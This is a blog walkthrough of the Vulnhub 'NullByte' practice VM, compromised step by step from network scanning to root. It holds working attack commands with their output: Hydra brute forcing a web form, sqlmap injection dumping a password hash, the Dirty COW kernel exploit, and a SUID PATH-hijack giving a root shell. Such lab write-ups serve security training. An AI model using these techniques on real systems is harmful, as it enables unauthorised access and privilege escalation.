Core dump overflow

Core dump in progress...

Pentest lab - NullByte

| Comments

Today I’m back with another vulnerable machine from Vulnhub! It’s’ been a while since I’ve done one, and I was getting restless :D The target for today is called NullByte, and the goal is to read /root/proof.txt

I am going to use alternate tools to accomplish the enumeration tasks, instead of the usual Nmap ping scan. To identify the machine on the network, I’ll go with netdiscover this time:

1
2
3
4
5
6
7
8
9
10
11
netdiscover -r 192.168.217.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts                 

 29 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 1740             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 ...            
 192.168.217.135 00:0c:29:57:bc:ff      4     240  Unknown vendor              
 ...  

By correlating the VMware MAC address with the one in the scan, I know the IP of the target is 192.168.217.135. Next, I port scanned the target:

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -p- -sV 192.168.217.135

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-18 11:51 EDT
Nmap scan report for 192.168.217.135
Host is up, received arp-response (0.00016s latency).
Not shown: 65531 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
Reason: 65531 resets
PORT      STATE SERVICE REASON         VERSION
80/tcp    open  http    syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind syn-ack ttl 64 2-4 (RPC #100000)
777/tcp   open  ssh     syn-ack ttl 64 OpenSSH 6.7p1 Debian 5 (protocol 2.0)
53755/tcp open  status  syn-ack ttl 64 1 (RPC #100024)

Hmm, SSH on port 777? Oh well, let’s look at the web server first:

nullbyte web page

Just an image, nothing in the source, no robots.txt. I needed to see if there are any other interesting directories, but instead of Dirbuster, I used TheColonial’s Gobuster, which is a CLI tool written in Go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gobuster -u http://192.168.217.135/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.217.135/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/uploads (Status: 301)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
=====================================================

Unfortunately, nothing in there either. The only thing that we have so far is an image. Let’s hope there is no (or very rudimentary) steganography involved. I looked at the metadata of the image:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
exiftool main.gif
ExifTool Version Number         : 10.40
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2017:04:18 12:24:59-04:00
File Access Date/Time           : 2017:04:18 12:24:59-04:00
File Inode Change Date/Time     : 2017:04:18 12:24:59-04:00
File Permissions                : rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071

Hello there, conspicuous comment section! On a hunch, I tried navigating to a folder with that name on the web server, and finally seeing something promising:

key form

And in the source, there is a comment stating that “this form isn’t connected to mysql, password ain’t that complex”. Ok, so no SQLi then. I took the hint and set to brute forcing the password. I used Hydra for this, so I had to take note of the form parameters:

1
2
3
4
5
6
<center>
<form method="post" action="index.php">
Key:<br>
<input type="password" name="key">
</form>
</center>

Also, trying the wrong key gives the message invalid key. Armed with this info, I constructed the Hydra query:

1
hydra 192.168.217.135 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l meh -P /usr/share/dict/words -t 10 -w 10

This looks ugly, so let me break it into pieces:

  • 192.168.217.135 = target name

  • http-form-post = the method used

  • “/kzMb5nVYJw/index.php” = URL

  • key=^PASS^:invalid key” = the form parameter is called key, the PASS variable will be replaced with passwords from the password file, and Hydra will see as successful a response that doesn’t contain the string “invalid key”

  • -l meh = you have to specify a username for Hydra to work, even though in this case there was no user, so I put something random

  • -P /usr/share/dict/words = password File

  • -t 10 = number of Threads

  • -w 10 = timeout value

1
2
3
4
5
6
7
8
9
10
11
12
13
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-04-18 13:11:54
[DATA] max 10 tasks per 1 server, overall 64 tasks, 99171 login tries (l:1/p:99171), ~154 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] 1170.00 tries/min, 1170 tries in 00:01h, 98001 to do in 01:24h, 10 active
[STATUS] 1173.33 tries/min, 3520 tries in 00:03h, 95651 to do in 01:22h, 10 active
[STATUS] 1173.86 tries/min, 8217 tries in 00:07h, 90954 to do in 01:18h, 10 active
[STATUS] 1174.00 tries/min, 17610 tries in 00:15h, 81561 to do in 01:10h, 10 active
[STATUS] 1174.32 tries/min, 36404 tries in 00:31h, 62767 to do in 00:54h, 10 active
[80][http-post-form] host: 192.168.217.135   login: meh   password: elite
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-04-18 13:45:57

We can see that Hydra found the password: elite ! Inputting it takes us to another form:

search username

Whatever I entered into the form, I got the message “Fetched data successfully”. I looked at the source code and found another page to check:

1
2
3
4
5
6
<p>Search for usernames: </p>
<hr>
<form action="420search.php" method="get">
Enter username:<br>
<input type="text" name="usrtosearch">
</form>

Navigating to 420search.php revealed 2 usernames:

1
2
3
4
5
6
7
8
9
EMP ID :1
EMP NAME : ramses
EMP POSITION :
--------------------------------
EMP ID :2
EMP NAME : isis
EMP POSITION : employee
--------------------------------
Fetched data successfully

I pointed sqlmap to the usrtosearch parameter and was able to pull data from the DB:

1
2
3
4
5
6
7
8
9
10
sqlmap -u "http://192.168.217.135/kzMb5nVYJw/420search.php?usrtosearch=isis" -p usrtosearch --dbms=MySQL --tables
...
[04:24:25] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, phpmyadmin, seth'
...
Database: seth
[1 table]
+----------------------------------------------+
| users                                        |
+----------------------------------------------+
...

Next I enumerated the users table in the seth DB, and I got a password for ramses:

users csv

I went back to that unconventional SSH port and tried to log in as ramses with the password: YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE . When that didn’t work, I fed it to Google and the first MD5 decoder that popped decrypted it as omega

1
2
3
4
5
6
7
8
9
10
11
ssh -p 777 ramses@192.168.217.135
ramses@192.168.217.135's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$

Time to look around the system!

1
2
3
4
5
ls -l /home
total 12
drwxr-xr-x 2 bob    bob    4096 Aug  2  2015 bob
drwxr-xr-x 2 eric   eric   4096 Aug  2  2015 eric
drwxr-xr-x 2 ramses ramses 4096 Aug  2  2015 ramses

Nothing interesting in those home directories. I looked at the kernel version next:

1
2
uname -v
#1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17)

A bit of google-fu revealed that this kernel is vulnerable to CVE-2016-5195, or more popularly known as the Dirty Cow exploit . It is possible to exploit a race condition to escalate privileges to root! I downloaded the source code to the NullByte VM, commented out the x64 payload and uncommented the x86 one, and then I compiled it with gcc dirtycow.c -o dirtycow -pthread. I got some warnings, but was able to run it successfully:

1
2
3
4
5
6
7
8
9
10
11
12
./dirtycow
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 53112
Racing, this may take a while..
thread stopped
/usr/bin/passwd is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@NullByte:/home/ramses# whoami
root

The system crashed shortly afterwards, so I followed the advice in the exploit source code and did echo 0 > /proc/sys/vm/dirty_writeback_centisecs, and it didn’t crash anymore. With this, I was able to read the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cat /root/proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com


USE THIS PGP PUBLIC KEY

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----

After completing this and looking at other walkthroughs to see alternate ways of exploitation, I realized that I completely missed the way this VM was supposed to be exploited, so below is the intended way of solving this:

Inside ramses’ home folder is a .bash_history file that I neglected reading:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch
clear
sudo -s
cd /
ls
exit

An interesting path and binary. Let’s see it on the filesystem:

1
2
3
4
5
6
ls -l /var/www/backup
total 12
-rwsr-xr-x 1 root root 4932 Aug  2  2015 procwatch
-rw-r--r-- 1 root root   28 Aug  2  2015 readme.txt
cat readme.txt
I have to fix this mess...

A SUID executable and a comment alluding to a mess..hmm, what could go wrong here..

1
2
3
4
5
./procwatch
  PID TTY          TIME CMD
 1535 pts/0    00:00:00 procwatch
 1536 pts/0    00:00:00 sh
 1537 pts/0    00:00:00 ps

This looks like the output of the ps command. Let’s see a normal ps:

1
2
3
4
ps
  PID TTY          TIME CMD
 1555 pts/0    00:00:00 bash
 1605 pts/0    00:00:00 ps

I played around with the executable, tried passing arguments, but it looks like it just calls ps and nothing else. In the ps manual, I paid attention to this:

By default, ps selects all processes with the same effective user ID (euid=EUID) as the current user and associated with the same terminal as the invoker.

So, we can see the succession for a normal ps is bash –> ps, and for the SUID binary is procwatch –> sh –> ps. Maybe we can intercept the call to ps by creating an arbitrary binary called ps and placing it in the PATH variable. And of course, we want a shell!

1
cp /bin/sh /tmp/ps

Let’s look at the PATH environment variable:

1
2
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Ok, since I’ve placed the fake ps in /tmp, I want to add that to the path:

1
2
3
export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Fingers crossed, running procwatch again:

1
2
3
ramses@NullByte:/var/www/backup$ ./procwatch
# whoami
root

And we’re root..the right way! :D

1
2
3
4
5
6
7
8
9
/ You'll wish that you had done some of \
| the hard things when they were easier |
\ to do.                                /
 ---------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Comments